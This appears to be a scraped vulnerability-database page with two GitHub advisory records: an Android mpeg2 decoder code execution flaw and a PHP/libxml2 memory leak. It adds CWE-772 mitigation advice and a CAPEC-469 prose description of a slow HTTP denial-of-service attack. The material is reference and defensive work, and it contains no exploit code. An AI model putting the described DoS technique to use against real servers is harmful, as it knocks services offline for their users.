"affected": [],
"aliases": [
"CVE-2017-0719"
],
"database_specific": {
"cwe_ids": [
"CWE-772"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-09T21:29:00Z",
"severity": "HIGH"
},
"details": "A remote code execution vulnerability in the Android media framework (mpeg2 decoder). Product: Android. Versions: 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2. Android ID: A-37273673.",
"id": "GHSA-mvfv-547p-mcwm",
"modified": "2022-05-13T01:40:32Z",
"published": "2022-05-13T01:40:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0719"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2017-08-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/100204"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MX27-JHRP-2GFM
Vulnerability from github – Published: 2022-04-21 01:57 – Updated: 2024-02-28 01:12PHP5 before 5.4.4 allows passing invalid utf-8 strings via the xmlTextWriterWriteAttribute, which are then misparsed by libxml2. This results in memory leak into the resulting output.
{
"affected": [],
"aliases": [
"CVE-2010-4657"
],
"database_specific": {
"cwe_ids": [
"CWE-772"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-13T21:15:00Z",
"severity": "HIGH"
},
"details": "PHP5 before 5.4.4 allows passing invalid utf-8 strings via the xmlTextWriterWriteAttribute, which are then misparsed by libxml2. This results in memory leak into the resulting output.",
"id": "GHSA-mx27-jhrp-2gfm",
"modified": "2024-02-28T01:12:20Z",
"published": "2022-04-21T01:57:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4657"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/cve-2010-4657"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/php/%2Bbug/655442"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2010-4657"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2010-4657"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-3
Strategy: Language Selection
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.
Mitigation
It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.
Mitigation MIT-47
Strategy: Resource Limitation
- Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.